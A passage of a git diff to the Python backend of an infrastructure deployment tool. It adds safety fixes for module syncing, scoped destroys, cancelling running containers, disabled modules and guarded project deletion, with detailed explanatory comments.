Detect ambiguity with a distinct-source-id probe rather than by + # hydrating every matching row. Under the D-033 multi-version catalog a + # path can have many active versions, and this sits on the deploy path -- + # the winner is still fetched with LIMIT 1. + source_ids = [ + sid + for (sid,) in query.with_entities(ModuleLibrary.module_source_id).distinct().all() + if sid is not None + ] + if len(source_ids) > 1: + _log_cross_source_ambiguity(module_path, source_ids) + return row + + +def resolve_module_rows_by_path( + db: Session, module_paths: list[str], *, warn_ambiguous: bool = True +) -> dict[str, ModuleLibrary]: + """Batch-resolve paths to rows, agreeing with resolve_module_row row for row. + + Built last-wins over _map_order() rather than per-path queries, to keep the + single round trip these call sites rely on to avoid N+1. + """ + if not module_paths: + return {} + + rows = ( + db.query(ModuleLibrary) + .filter( + ModuleLibrary.path.in_(module_paths), + ModuleLibrary.is_active, + ) + .order_by(*_map_order()) + .all() + ) + + if warn_ambiguous: + by_path: dict[str, list[ModuleLibrary]] = {} + for row in rows: + if isinstance(row.path, str): + by_path.setdefault(row.path, []).append(row) + for path, path_rows in by_path.items(): + warn_on_cross_source_ambiguity(path_rows, path) + + return {row.path: row for row in rows if isinstance(row.path, str)} diff --git a/backend/services/module_source_service.py b/backend/services/module_source_service.py index 6e925579..853afff5 100644 --- a/backend/services/module_source_service.py +++ b/backend/services/module_source_service.py @@ -591,14 +591,57 @@ def create_source(self, source_data) -> dict[str, Any]: self.db.refresh(source) if source.source_type == 'git': + # The initial sync is best-effort: a bad manifest or an unreachable + # remote must not lose the source row the caller just created. + # + # Catching the exception unwinds the Python stack but does NOT reset + # the SQLAlchemy session. _auto_sync_blueprints_for_git_source flushes + # BlueprintRelease rows on this same session, so a failed insert left + # it in PendingRollback -- and the route's db.commit() then raised + # PendingRollbackError, which surfaced as a 500 that masked the real + # cause (logged only at WARNING). See #9. + # + # A SAVEPOINT scopes the damage: rolling it back discards the failed + # sync writes and leaves the outer transaction -- including the + # ModuleSource insert above -- valid and committable. + savepoint = self.db.begin_nested() try: from services.module_sync_service import ModuleSyncService ModuleSyncService(self.db).sync_git_source(source) self._auto_sync_blueprints_for_git_source(source) + # ModuleSyncService.sync_git_source commits internally (it owns + # its own sync_status bookkeeping), and Session.commit() commits + # the OUTERMOST transaction -- which closes this savepoint. + # Committing a closed savepoint raises ResourceClosedError, and + # that would land in the except below and mark a perfectly + # successful sync as failed. Only commit one we still own. + if savepoint.is_active: + savepoint.commit() self.db.refresh(source) except Exception as exc: - logger.warning("Initial sync failed for new module source %s: %s", source.name, exc) + # Always roll back to the SAVEPOINT, never straight to the + # session. After a failed flush SQLAlchemy reports the nested + # transaction as not is_active, but rollback() is still the + # correct recovery -- checking is_active first and falling + # through to self.db.rollback() would discard the ModuleSource + # insert as well, which is the row we are trying to keep. The + # outer rollback stays only as a last resort for the case where + # an inner commit released the savepoint out from under us; the + # source is already durable by then, because sync_git_source + # commits before it can fail. + try: + savepoint.rollback() + except Exception: + self.db.rollback() + # Record the cause where the caller can actually see it. The + # source is still created; sync_status/sync_error say why it is + # empty, instead of the client getting an opaque 500. + logger.exception( + "Initial sync failed for new module source %s: %s", source.name, exc + ) + source.sync_status = 'failed' + source.sync_error = f"Initial sync failed: {exc}"[:2000] logger.info(f"Created module source: {source.name} ({source.source_type})") return self._serialize_source(source) @@ -1465,6 +1508,24 @@ def _auto_sync_blueprints_for_git_source(self, module_source: ModuleSource) -> d return None blueprint_source, created = self._get_or_create_linked_blueprint_source(module_source) + # Mirror of the guard blueprint_sync_service._auto_sync_modules_for_git_source + # gained in #404, for the symmetric direction (#87). Without it a module + # sync re-synced -- and the sync path re-activates -- a twin blueprint + # source an operator had deliberately deactivated. Skip and say so, + # with the same sync_status marker the other direction uses. + if not blueprint_source.is_active: + logger.info( + "Skipping blueprint auto-sync for module source %s: linked blueprint source %s is inactive", + module_source.name, + blueprint_source.name, + ) + return { + "source_id": blueprint_source.id, + "source_name": blueprint_source.name, + "created": created, + "sync_status": "skipped_inactive", + "results": None, + } results = BlueprintSyncService(self.db).sync_git_source(blueprint_source, sync_related_modules=False) self.db.refresh(blueprint_source) return { diff --git a/backend/services/module_sync_service.py b/backend/services/module_sync_service.py index 142bdc56..84ef943f 100644 --- a/backend/services/module_sync_service.py +++ b/backend/services/module_sync_service.py @@ -129,6 +129,7 @@ def sync_git_source(self, source: ModuleSource) -> dict: 'manifest_sync_used': False, 'pack_manifests_discovered': 0, 'stale_modules_inactivated': 0, + 'pinned_versions_inactivated': [], 'pack_errors': [], 'version_conflicts': [], } @@ -189,10 +190,15 @@ def sync_git_source(self, source: ModuleSource) -> dict: error=e, ) - results['stale_modules_inactivated'] = self._inactivate_stale_manifest_modules( + stale_count, pinned_warnings = self._inactivate_stale_manifest_modules( source_id=source.id, discovered_pack_paths=set(pack_paths), ) + results['stale_modules_inactivated'] = stale_count + # Prominent, per-module, naming the projects (#91). A distinct + # key, not folded into 'errors': the sync SUCCEEDED; this is a + # consequence the operator must see, not a failure. + results['pinned_versions_inactivated'] = pinned_warnings else: # Legacy fallback: only when no manifests exist in source. modules = self._find_terraform_modules(temp_dir) @@ -732,15 +738,12 @@ def _registry_host_allowlist(self) -> list[str]: The result is never None, so the validator never skips the host check on artifact ingest. """ - from services.defaults_service import SYSTEM_DEFAULTS, get_default + # One resolver shared with the runtime pull-auth path + # (supply_chain.enforce_host_allowlist), so ingest and runtime can never + # again disagree on what an empty allowlist means (#79). + from services.execution.supply_chain import resolve_registry_host_allowlist - try: - raw = get_default(self.db, "container.registry_host_allowlist") - except Exception: - raw = None - if not raw: - raw = SYSTEM_DEFAULTS["container.registry_host_allowlist"]["value"] - return [host.strip() for host in str(raw).split(",") if host.strip()] + return sorted(resolve_registry_host_allowlist(self.db)) def _parse_terraform_module(self, module_path: str, repo_path: str) -> dict | None: """ @@ -1240,12 +1243,25 @@ def _append_pack_error(self, results: dict, module_path: str, stage: str, error: 'message': error_text, }) - def _inactivate_stale_manifest_modules(self, source_id: int, discovered_pack_paths: set[str]) -> int: + def _inactivate_stale_manifest_modules( + self, source_id: int, discovered_pack_paths: set[str] + ) -> tuple[int, list[dict]]: """ Mark missing manifest-backed source modules inactive after successful manifest sync. Legacy Terraform-only imports are intentionally excluded from this reconciliation. + + Returns ``(stale_count, pinned_warnings)``. A version row still + referenced by project modules is deactivated anyway -- the FK keeps + deployments working and the destroy hazard stays fixed -- but it + disappears from every active-filtered surface (catalog list, + available_module_versions, re-pin targets) with no signal. ADR D-033 + Decision 4 promised a guard or a loud warning here and neither existed + (#91). Each such row is reported with the projects that pin it, so the + sync result says exactly what was taken out from under whom. """ + from models import Project, ProjectModule + stale_count = 0 source_rows = self.db.query(ModuleLibrary).filter( ModuleLibrary.module_source_id == source_id, @@ -1253,12 +1269,39 @@ def _inactivate_stale_manifest_modules(self, source_id: int, discovered_pack_pat ).all() stale_paths: set[str] = set() + pinned_warnings: list[dict] = [] for module in source_rows: if not self._is_manifest_backed_module(module): continue module_identity = module.source_path if module.source_path is not None else (module.path or '') if module_identity in discovered_pack_paths: continue + + pinning = ( + self.db.query(ProjectModule.project_id, Project.name) + .join(Project, Project.id == ProjectModule.project_id) + .filter(ProjectModule.module_library_id == module.id) + .distinct() + .all() + ) + if pinning: + warning = { + "module_id": module.id, + "path": module.path, + "version": module.version, + "pinned_by": [ + {"project_id": pid, "project_name": pname} for pid, pname in pinning + ], + "message": ( + f"Deactivated {module.path}@{module.version}: no longer published by " + f"the source but still pinned by {len(pinning)} project(s). Existing " + f"deployments keep working; the version is hidden from catalog and re-pin " + f"surfaces. Re-publish it, or change those modules' version." + ), + } + pinned_warnings.append(warning) + logger.warning("module_sync: %s", warning["message"]) + module.is_active = False stale_count += 1 if module.path: @@ -1270,7 +1313,7 @@ def _inactivate_stale_manifest_modules(self, source_id: int, discovered_pack_pat for path in stale_paths: recompute_is_latest(self.db, source_id, path) - return stale_count + return stale_count, pinned_warnings def _is_manifest_backed_module(self, module: ModuleLibrary) -> bool: """Return True when module row represents manifest-backed import data.""" diff --git a/backend/services/parallel_execution_service.py b/backend/services/parallel_execution_service.py index 8efb87f4..ef106547 100644 --- a/backend/services/parallel_execution_service.py +++ b/backend/services/parallel_execution_service.py @@ -470,10 +470,60 @@ def _dispatch_first_destroy_wave( ]), ).first() if existing: - logger.info( - "First destroy wave: skipping module %s — task %s already %s", - module.id, existing.id, existing.status, - ) + # ADOPT the in-flight task into this run rather than merely + # skipping it. + # + # Skipping left a module-scoped destroy (from + # POST /project-modules/{id}/destroy) as the newest — and only — + # destroy task for the module. When its worker finished, the + # chain guard read destroy_scope="module" off that very row and + # returned before chaining AND before terminal detection: the + # module's dependencies were never queued (live cloud infra + # stranded) and the stack/project sat in DESTROYING forever, + # because "applied" is not a terminal destroy status. + # + # Restamping makes the executing task a member of this run, so + # the guard resolves "project" and the chain proceeds. Scope + # belongs to the teardown run, not to whichever request happened + # to create the row. + meta = dict(existing.meta_data or {}) + if meta.get("destroy_scope") != "project" or not existing.run_handle: + meta["destroy_scope"] = "project" + existing.meta_data = meta + existing.run_handle = existing.run_handle or run_handle + self.db.flush() + logger.info( + "First destroy wave: adopted in-flight task %s for module %s " + "into run %s (was %s)", + existing.id, module.id, run_handle, + (existing.meta_data or {}).get("destroy_scope"), + ) + else: + logger.info( + "First destroy wave: skipping module %s — task %s already %s " + "and already in this run", + module.id, existing.id, existing.status, + ) + # RESIDUAL RACE, deliberately not mitigated here. + # + # If the worker completes between the SELECT above and this + # flush, its trigger has already run under the old "module" + # scope and returned before chaining — the module's + # dependencies stay unqueued and the entity stays DESTROYING. + # The janitor does NOT recover it: reset_stale_tasks only + # touches NON-TERMINAL tasks, and this one is terminal. + # + # I tried a commit-refresh-and-re-trigger here and could not + # demonstrate it firing under test, so it is not shipped: an + # unverified mitigation inside a destroy path is worse than a + # documented window. Closing it properly wants an atomic + # conditional UPDATE (adopt only while still non-terminal, + # and re-trigger when it matches zero rows), which is a + # change to how the wave claims work rather than a patch + # here. Tracked separately. + # + # The window is microseconds and the adoption above covers + # every other ordering. if first_task_id is None: first_task_id = existing.celery_task_id continue @@ -565,6 +615,16 @@ def _dispatch_first_wave(self, project_id: int, run_handle: str | None = None) - modules_by_id = {m.id: m for m in modules} for module in modules: + # A disabled module is not runnable (issue #527). _check_missing_variables + # already skips these, so dispatching one here also meant deploying a + # module whose required variables were never validated. + if not module.enabled: + logger.info( + "Skipping first-wave dispatch for module %s — module is disabled", + module.id, + ) + continue + if module.status == ModuleStatus.APPLIED and not workspace.vars_changed(module): continue diff --git a/backend/services/project_module_service.py b/backend/services/project_module_service.py index 61829a7b..de349b5c 100644 --- a/backend/services/project_module_service.py +++ b/backend/services/project_module_service.py @@ -418,12 +418,29 @@ def remove_module(self, module_id: int) -> dict: def get_module_status(self, module_id: int) -> dict: """Get current status of a module.""" module = self.get_module(module_id) + + # The most recent task is the handle for this module's output + # (GET /api/tasks/{id}). Without it, getting from "this module failed" + # to its log required already knowing /api/tasks?module_id= exists + # (#154). Prefer the live lock holder (the task running NOW) when there + # is one, else the newest task row. + from models import Task as TaskModel + + latest = ( + self.db.query(TaskModel.id) + .filter(TaskModel.module_id == module.id) + .order_by(TaskModel.id.desc()) + .first() + ) + latest_task_id = module.holding_task_id or (latest[0] if latest else None) + return { "id": module.id, "status": module.status, "last_deployed_at": module.last_deployed_at.isoformat() if module.last_deployed_at else None, "deployment_error": module.deployment_error, "stage_detail": module.stage_detail, + "latest_task_id": latest_task_id, } def get_module_variables(self, module_id: int) -> dict: @@ -748,6 +765,7 @@ def create_task( task_type: str, module: ProjectModule, triggered_by: str = "user", + meta_data: dict | None = None, ) -> Any: """ Create a Task record in the database for an execution operation. @@ -759,6 +777,10 @@ def create_task( deferred caller commit propagates — racing into a "Task X not found" ValueError. Reproduced 2026-05-04 driving destroys from a CLI script. Committing here closes the race for every submit_* method. + + ``meta_data`` is stamped onto the Task row; the destroy event chain reads + ``meta_data["destroy_scope"]`` from it to decide how far the teardown + propagates (see submit_destroy). """ from models import Task as TaskModel @@ -769,6 +791,7 @@ def create_task( module_id=module.id, triggered_by=triggered_by, created_at=datetime.now(UTC), + meta_data=meta_data, ) self.db.add(task) self.db.commit() @@ -806,6 +829,12 @@ def submit_init(self, module_id: int, triggered_by: str = "user") -> dict: if not module.library_module.git_source: raise BadRequestError("Module library has no git source configured") + # Before create_task/_commit_before_dispatch: those commit a queued Task + # row and flip module.status, so a rejection at dispatch time would + # strand a transitional status and leave an orphan task behind. + if not module.enabled: + raise BadRequestError("Module is disabled — enable it before running init") + task = self.create_task("init", module, triggered_by) self._commit_before_dispatch(task, module, "initializing") @@ -947,7 +976,23 @@ def submit_destroy(self, module_id: int, triggered_by: str = "user") -> dict: module.stage_detail = None - task = self.create_task("destroy", module, triggered_by) + # Scope the teardown to THIS module only. + # + # The destroy event chain (_trigger_next_destroy_module) walks + # module.dependencies and queues a destroy for each one as the predecessor + # reaches a terminal state. That reverse-DAG walk is correct for a whole + # project or stack teardown, where every module is meant to come down. + # It is wrong here: this endpoint destroys one named module, and the + # modules it *depends on* are exactly the ones that must survive. + # + # Without this stamp the chain fell through to the stack_instance_id + # heuristic, so destroying a blueprint's bnk-install cascaded down into + # cluster-create and deleted the ROKS cluster BNK was installed on + # (issue #525) — ~48 minutes of infrastructure removed by a request that + # named only the application layer. + task = self.create_task( + "destroy", module, triggered_by, meta_data={"destroy_scope": "module"} + ) self._commit_before_dispatch(task, module, "destroying") from services.execution.task_dispatch import dispatch_destroy @@ -1014,6 +1059,11 @@ def submit_action( """ module = self.get_module(module_id) + # An action runs the artifact's own image against live infrastructure, + # so a disabled module must not be actionable either (issue #527). + if not module.enabled: + raise BadRequestError("Module is disabled — enable it before running actions") + lib = module.library_module manifest = getattr(lib, "pack_manifest", None) if lib else None if not isinstance(manifest, dict) or not isinstance(manifest.get("container_image"), dict): @@ -1076,6 +1126,113 @@ def submit_action( **dispatch_state, } + # How long cancel waits for the worker to confirm the container kill. Short + # on purpose: this runs inside a request, and a slow answer degrades to + # "unconfirmed", which keeps the lock rather than dropping it optimistically. + _KILL_CONFIRM_TIMEOUT_SECONDS = 15 + + @staticmethod + def _container_substrate(module) -> str: + """Where a container artifact's steps actually run: "docker" | "kubernetes". + + Mirrors the precedence in container_tasks._resolve_runner — explicit + execution.container_runner.backend, else deploy_model ("helm" ⟹ + kubernetes), else docker. + """ + lib = getattr(module, "library_module", None) + manifest = getattr(lib, "pack_manifest", None) if lib else None + if not isinstance(manifest, dict): + return "docker" + + execution = manifest.get("execution") + runner_cfg = ( + execution.get("container_runner") if isinstance(execution, dict) else None + ) + backend = ( + (runner_cfg or {}).get("backend") if isinstance(runner_cfg, dict) else None + ) + if isinstance(backend, str) and backend.strip(): + return backend.strip().lower() + + deploy_model = manifest.get("deploy_model") + if isinstance(deploy_model, str) and deploy_model.strip().lower() == "helm": + return "kubernetes" + return "docker" + + def _kill_containers_for_tasks(self, module, tasks) -> tuple[list[str], bool]: + """Kill the daemon-side step container(s), on the WORKER. + + Returns ``(killed_ids, confirmed)``. ``confirmed`` is False when the + docker endpoint could not be reached at all — the caller must NOT + release the module lock in that case. + + Dispatched as a Celery task rather than called inline. cancel_operation + runs in the FastAPI ``backend`` service, which is built from the ``api`` + Dockerfile stage: it has no docker CLI (only the ``worker`` stage copies + one) and compose sets DOCKER_HOST only on the celery services. Inline, + `docker ps` raised FileNotFoundError, the runner swallowed it, and the + caller saw "0 containers killed" — so the lock was force-released while + the container kept running, which is precisely the corruption this whole + path exists to prevent. + """ + from services.execution.task_dispatch import get_engine_type + + try: + if get_engine_type(module) != "container": + return [], True # nothing to kill; not an unknown state + except Exception as exc: + logger.warning("cancel: could not resolve engine for module %s: %s", module.id, exc) + return [], True + + # Resolve the SUBSTRATE, not just the dispatch family. `get_engine_type` + # returns "container" for a container artifact regardless of where its + # steps actually run; the substrate is chosen separately from + # execution.container_runner.backend, or inferred from deploy_model. + # + # A container artifact on Kubernetes therefore took the docker branch, + # `docker ps --filter label=bnkforge.task=` returned zero rows with + # exit 0, and that read as a CONFIRMED kill: the lock was released and + # the user told the deployment had stopped, while the Job ran on to its + # active_deadline_seconds against live infrastructure — and a re-apply + # reused the same PVC. + # + # There is no Kubernetes kill path to fall back to: the runner stamps no + # bnkforge.task label (so nothing could select the Job even if a delete + # existed), and the reaper is DockerRunner-only. So this is UNCONFIRMED, + # which retains the lock — the honest answer until a Job-deletion path + # and a label exist. + substrate = self._container_substrate(module) + if substrate != "docker": + logger.warning( + "cancel: module %s runs on the %s substrate, which has no kill " + "path — reporting UNCONFIRMED so the lock is retained.", + module.id, substrate, + ) + return [], False + + celery_ids = [t.celery_task_id for t in tasks if t.celery_task_id] + if not celery_ids: + return [], True + + try: + from tasks.container_tasks import kill_module_containers + + async_result = kill_module_containers.apply_async( + (celery_ids,), queue="default" + ) + outcome = async_result.get(timeout=self._KILL_CONFIRM_TIMEOUT_SECONDS) + except Exception as exc: + # Broker down, no worker, or timeout — all mean "unconfirmed". + logger.warning( + "cancel: container kill for module %s was not confirmed: %s", + module.id, exc, + ) + return [], False + + if not isinstance(outcome, dict): + return [], False + return list(outcome.get("killed") or []), bool(outcome.get("reachable")) + def cancel_operation(self, module_id: int) -> dict: """Cancel a running deployment operation (revoke Celery task, reset status).""" from celery_app import celery_app @@ -1083,40 +1240,102 @@ def cancel_operation(self, module_id: int) -> dict: module = self.get_module(module_id) - active_task = ( + # Match queued/pending as well as in-progress. Module status flips to + # applying/destroying at SUBMIT time, which is what the UI's Stop gate + # keys off — so Stop is routinely clicked while the Celery task is still + # queued. Matching only "in_progress" left that task un-revoked, and the + # worker later picked it up and ran the full apply after the user had + # been told it stopped (issue #462 F4, issue #527 part 2). + cancellable = ( self.db.query(TaskModel) .filter( and_( TaskModel.module_id == module_id, - TaskModel.status == "in_progress", + TaskModel.status.in_(["in_progress", "queued", "pending"]), ) ) .order_by(TaskModel.created_at.desc()) - .first() + .all() ) - - if active_task and active_task.celery_task_id: + # Guard on whether ANY cancellable task carries a celery id, not on the + # newest one. create_task commits before dispatch stamps the id, and + # _trigger_next_stack_module commits its "pending" row before calling + # dispatch_apply — so a NEWER, id-less row can sit in front of the + # running task. Keying the guard on cancellable[0] meant the whole + # cancel was skipped in that window: the running task was never revoked, + # no container was killed, and the caller was told + # "Reset stuck deployment status" with success=True. + dispatchable = [t for t in cancellable if t.celery_task_id] + + if dispatchable: try: - celery_app.control.revoke(active_task.celery_task_id, terminate=True, signal="SIGKILL") - logger.info(f"Revoked Celery task {active_task.celery_task_id} for module {module_id}") - - # Release module lock - try: - from services.module_lock import ModuleLockService - ModuleLockService(self.db).force_release(module.id) - logger.info(f"Released module lock for module={module.id}") - except Exception as lock_err: - logger.warning(f"Failed to release module lock on cancel: {lock_err}") + # Revoke every non-terminal task for this module, not just the + # newest — a queued task behind the running one is exactly the + # zombie F4 describes. + for task in dispatchable: + celery_app.control.revoke( + task.celery_task_id, terminate=True, signal="SIGKILL" + ) + logger.info(f"Revoked Celery task {task.celery_task_id} for module {module_id}") + + # Kill the daemon-side container BEFORE releasing the lock, so the + # lock is never dropped while a live container still holds the + # workspace. + killed, kill_confirmed = self._kill_containers_for_tasks(module, cancellable) + + # Release the module lock ONLY on a confirmed kill. + # + # The lock is what stops a re-apply racing a still-running + # container over the same workspace. Dropping it because the + # kill *reported* nothing — when in fact the daemon was + # unreachable — hands the user a green light into exactly that + # corruption. Unconfirmed keeps the lock; the reaper sweeps the + # container and the janitor frees the lock on its own schedule. + if kill_confirmed: + try: + from services.module_lock import ModuleLockService + ModuleLockService(self.db).force_release(module.id) + logger.info(f"Released module lock for module={module.id}") + except Exception as lock_err: + logger.warning(f"Failed to release module lock on cancel: {lock_err}") + else: + logger.warning( + "cancel: module %s lock RETAINED — the container kill could " + "not be confirmed, so a re-apply must not be allowed to race it.", + module.id, + ) - active_task.status = "cancelled" - active_task.error = "Operation cancelled by user" - active_task.completed_at = datetime.now(UTC) + # Mark every revoked task cancelled — leaving a queued row + # "queued" is what let it look live to the rest of the system. + for task in cancellable: + task.status = "cancelled" + task.error = "Operation cancelled by user" + task.completed_at = datetime.now(UTC) self._reset_module_status(module, "Operation cancelled by user") update_project_counts(self.db, module.project_id) - return {"success": True, "message": "Deployment cancelled successfully"} + if kill_confirmed: + message = "Deployment cancelled successfully" + if killed: + message += f" ({len(killed)} container(s) killed)" + else: + # Say so. The previous shape returned success=True here, + # which is how "it stopped" became a claim nobody had checked. + message = ( + "Cancellation requested, but the container could not be " + "confirmed stopped — the docker endpoint was unreachable. " + "The module stays locked until the reaper clears it; do " + "not re-apply yet." + ) + return { + "success": True, + "message": message, + "containers_killed": len(killed), + "containers_kill_confirmed": kill_confirmed, + "tasks_cancelled": len(cancellable), + } except Exception as e: logger.error(f"Error cancelling deployment: {e}") @@ -1127,13 +1346,34 @@ def cancel_operation(self, module_id: int) -> dict: logger.warning( f"No active task found but module {module_id} is in {module.status} state - resetting" ) + # A module stuck in a running state with no cancellable task row + # is the signature of a lost worker. Its container may still be + # running; the reaper (container_reaper) owns that sweep, since + # it can tell a dead task's orphan from a live sibling's step. + killed = [] + self._reset_module_status(module, "Stuck deployment reset by user") update_project_counts(self.db, module.project_id) - return {"success": True, "message": "Reset stuck deployment status"} + message = "Reset stuck deployment status" + if killed: + message += f" ({len(killed)} container(s) killed)" + return { + "success": True, + "message": message, + "containers_killed": len(killed), + "containers_kill_confirmed": True, + "tasks_cancelled": 0, + } - return {"success": False, "message": "No active deployment found for this module"} + return { + "success": False, + "message": "No active deployment found for this module", + "containers_killed": 0, + "containers_kill_confirmed": True, + "tasks_cancelled": 0, + } def deploy_module(self, module_id: int, triggered_by: str = "user") -> dict: """Trigger full init→plan→apply chain for a module. @@ -1148,6 +1388,14 @@ def deploy_module(self, module_id: int, triggered_by: str = "user") -> dict: """ module = self.get_module(module_id) + # A disabled module is not runnable by ANY path (issue #527). This one + # does not go through _validate_for_operation the way submit_plan and + # submit_apply do, so without this check the endpoint the UI's Deploy + # button calls would still deploy a disabled module — the headline fix + # defeated by the most likely route a user takes. + if not module.enabled: + raise BadRequestError("Module is disabled — enable it before deploying") + if module.status in (ModuleStatus.APPLYING, ModuleStatus.INITIALIZING, ModuleStatus.PLANNING): raise BadRequestError(f"Module is already deploying (current status: {module.status})") @@ -1198,6 +1446,9 @@ def retry_deployment(self, module_id: int, triggered_by: str = "user") -> dict: module = self.get_module(module_id) + if not module.enabled: + raise BadRequestError("Module is disabled — enable it before retrying") + failed_statuses = ["failed", "apply_failed", "init_failed", "destroy_failed"] if module.status not in failed_statuses: raise BadRequestError(f"Can only retry failed deployments. Current status: {module.status}") @@ -1524,6 +1775,12 @@ def _validate_for_operation( errors = [] warnings = [] + # A disabled module is not runnable by any path (issue #527). The + # dependency chain honours this too; enforcing it here as well means + # "disabled" cannot be defeated by calling plan/apply directly. + if not module.enabled: + errors.append("Module is disabled — enable it before running plan or apply") + if not module.library_module: errors.append("Module has no library module associated") elif not module.library_module.git_source: diff --git a/backend/services/project_service.py b/backend/services/project_service.py index cc785c49..a22ab311 100644 --- a/backend/services/project_service.py +++ b/backend/services/project_service.py @@ -16,6 +16,7 @@ """ import logging +from collections.abc import Iterable from sqlalchemy import case, func from sqlalchemy.orm import Session, joinedload, subqueryload @@ -88,6 +89,46 @@ def _freeze_encryption_passphrase_before_rename(db: Session, project: "Project") # ProjectService (IMP-002) # ============================================================ +from tasks.parallel_tasks import NO_INFRA_STATUSES # noqa: E402 (module status vocabulary) + +# A module that still owns infrastructure AND has failed. Kept separate from +# NO_INFRA_STATUSES because init_failed/plan_failed are failures that own +# nothing -- they belong to "clean", not to "failed". +INFRA_FAILED_STATUSES = frozenset({ + "failed", + "apply_failed", + "destroy_failed", +}) + + +def summarize_module_state(module_statuses: Iterable[str | None]) -> str: + """One field a client can poll for teardown completion. + + "clean" / "in_progress" / "failed", derived from the SAME predicate the + DELETE gate uses -- module statuses against NO_INFRA_STATUSES -- so that: + + module_state == "clean" <=> DELETE succeeds without force=true + + That equivalence is the point. This field previously came from the stored + deployed_count / failed_count columns, which bucket by a different rule: + deployed_count counts only "applied" and failed_count counts the five + *_failed statuses, so neither counts "applying" or "destroying". A module + mid-teardown therefore reported "clean" while the gate refused with 409 -- + a polling client would read "clean" and proceed to DELETE, which is issue + #125 again under a new field name. Deriving both from NO_INFRA_STATUSES + means a status added there lands in the gate and this field at once. + + Callers should treat anything other than "clean" as "not finished". + """ + owning = [(status or "") for status in module_statuses + if (status or "") not in NO_INFRA_STATUSES] + if not owning: + return "clean" + if any(status in INFRA_FAILED_STATUSES for status in owning): + return "failed" + return "in_progress" + + class ProjectService(BaseService): """Encapsulates all project business logic. @@ -131,6 +172,7 @@ def _project_to_list_dict(project) -> dict: "module_count": project.module_count, "deployed_count": project.deployed_count, "failed_count": project.failed_count, + "module_state": summarize_module_state(m.status for m in project.project_modules), "cluster_count": len(project.k8s_clusters) if project.k8s_clusters else 0, "owner": project.owner, "team": project.team, @@ -269,6 +311,7 @@ def _project_to_detail_dict(project) -> dict: "module_count": project.module_count or 0, "deployed_count": project.deployed_count or 0, "failed_count": project.failed_count or 0, + "module_state": summarize_module_state(m.status for m in project.project_modules), "owner": project.owner, "team": project.team, "visibility": project.visibility, @@ -345,6 +388,9 @@ def list_projects(self, skip_cache: bool = False) -> dict: CloudCredentialTemplate.ibmcloud_resource_group, ), subqueryload(Project.k8s_clusters), + # module_state is derived from module statuses; without this the list + # endpoint would lazy-load modules once per project. + subqueryload(Project.project_modules).load_only(ProjectModule.status), joinedload(Project.user).load_only(User.id, User.username), # MU-001 ).order_by(Project.name).all() @@ -577,11 +623,13 @@ def update_project(self, project_id: int, project_data) -> dict: project.project_type = project_data.project_type if project_data.cloud_provider is not None: project.cloud_provider = project_data.cloud_provider - if hasattr(project_data, "target_platform_profile"): + # Same always-true hasattr() as the credential fields below: a partial + # update was nulling the project's platform routing on every request. + if self._field_was_supplied(project_data, "target_platform_profile"): project.target_platform_profile = project_data.target_platform_profile - if hasattr(project_data, "platform_provider"): + if self._field_was_supplied(project_data, "platform_provider"): project.platform_provider = project_data.platform_provider - if hasattr(project_data, "management_boundary"): + if self._field_was_supplied(project_data, "management_boundary"): project.management_boundary = project_data.management_boundary # PLATFORM-CONTEXT-004 baseline normalization on update: @@ -612,12 +660,26 @@ def update_project(self, project_id: int, project_data) -> dict: if project_data.state_config is not None: self._apply_state_config(project, project_data.state_config) - # Update credential template if provided - if hasattr(project_data, "credential_template_id"): + # Only assign when the CALLER sent the field. hasattr() is always True + # for a declared Pydantic field, so the previous checks fired on every + # request and wrote the field's default of None — a partial update that + # never mentioned the credential template silently detached it. + # + # The damage is not cosmetic: get_cloud_credentials_env() derives + # IBMCLOUD_API_KEY (and the AWS/Azure/GCP equivalents) from the project's + # template, so once it is cleared every subsequent module runs with no + # cloud credentials at all. Because the project row is touched as modules + # complete, the first module in a blueprint succeeds and every later one + # fails with "no IBM Cloud API key", which reads like a module bug rather + # than a project one. + # + # _field_was_supplied() is the existing expression of "if provided" — + # already used below for target_platform_profile — so this uses it rather + # than reading model_fields_set inline a second time. + if self._field_was_supplied(project_data, "credential_template_id"): project.credential_template_id = project_data.credential_template_id - # Update SSH credential if provided - if hasattr(project_data, "ssh_credential_id"): + if self._field_was_supplied(project_data, "ssh_credential_id"): project.ssh_credential_id = project_data.ssh_credential_id # Update enabled status if provided @@ -645,6 +707,55 @@ def delete_project(self, project_id: int, force: bool = False) -> dict: """ project = self._get_project(project_id) + # Refuse to delete a project whose modules may still own cloud resources. + # + # Forge holds the ONLY record of what a module built, so deleting the + # project orphans those resources with no retry path — the cluster keeps + # billing and nothing in Forge points at it. Reported on 3.1.6: a + # destroy-all returned non-zero, DELETE succeeded 22 seconds later, and a + # live ROKS cluster plus its VPC, three subnets and three public gateways + # had to be removed by hand (issue #125). + # + # NO_INFRA_STATUSES is the existing definition of "this module has + # nothing left to destroy"; anything else — applied, applying, + # destroying, apply_failed, destroy_failed — may still own something. + # + # This runs FIRST, ahead of the active-project and live-lock gates, and + # that ordering is load-bearing. The only-project gate below refuses with + # "use force=true to delete it anyway" — advice about project count, not + # about infrastructure. A user who follows it passes the one flag that + # also disarms this gate, which is precisely how #125 happened. Checking + # infra first means force=true is only ever suggested to someone whose + # modules are already destroyed. + # + # force=true remains available: deliberately abandoning resources is a + # legitimate operation. It just must not be the default, because a + # project that still owns resources is recoverable and a deleted one is + # not. + undestroyed = [ + m for m in self.db.query(ProjectModule) + .filter(ProjectModule.project_id == project_id).all() + if (m.status or "") not in NO_INFRA_STATUSES + ] + if undestroyed and not force: + raise ConflictError( + "project", + f"Cannot delete: {len(undestroyed)} module(s) are not destroyed and may " + f"still own cloud resources. Destroy them first, or pass force=true to " + f"delete the project and abandon those resources.", + details={ + "requires_force": True, + "undestroyed_modules": [ + { + "id": m.id, + "name": (m.library_module.name if m.library_module else m.path_in_project), + "status": m.status, + } + for m in undestroyed + ], + }, + ) + # Check if this is the only project total_projects = self.db.query(Project).count() diff --git a/backend/services/qkview_service.py b/backend/services/qkview_service.py index c515bb81..53c6818c 100644 --- a/backend/services/qkview_service.py +++ b/backend/services/qkview_service.py @@ -322,6 +322,22 @@ def _find_cert_secret(api_client: k8s_client.ApiClient, cwc_namespace: str) -> d # --------------------------------------------------------------------------- +def _client_pod_resources() -> tuple[dict[str, str], dict[str, str]]: + """Requests/limits for the CWC helper pod. + + Requests memory is set to the 128Mi floor that BNK cluster mutate-policies + (e.g. kyverno f5-bnk-shrink-requests) impose on pods in f5-cne-core/f5-operators; + the limit sits above it so the API-server 'requests <= limits' check passes + after mutation. + + Returns: + Tuple of (requests dict, limits dict), where values are K8s quantity strings. + """ + requests = {"cpu": "25m", "memory": 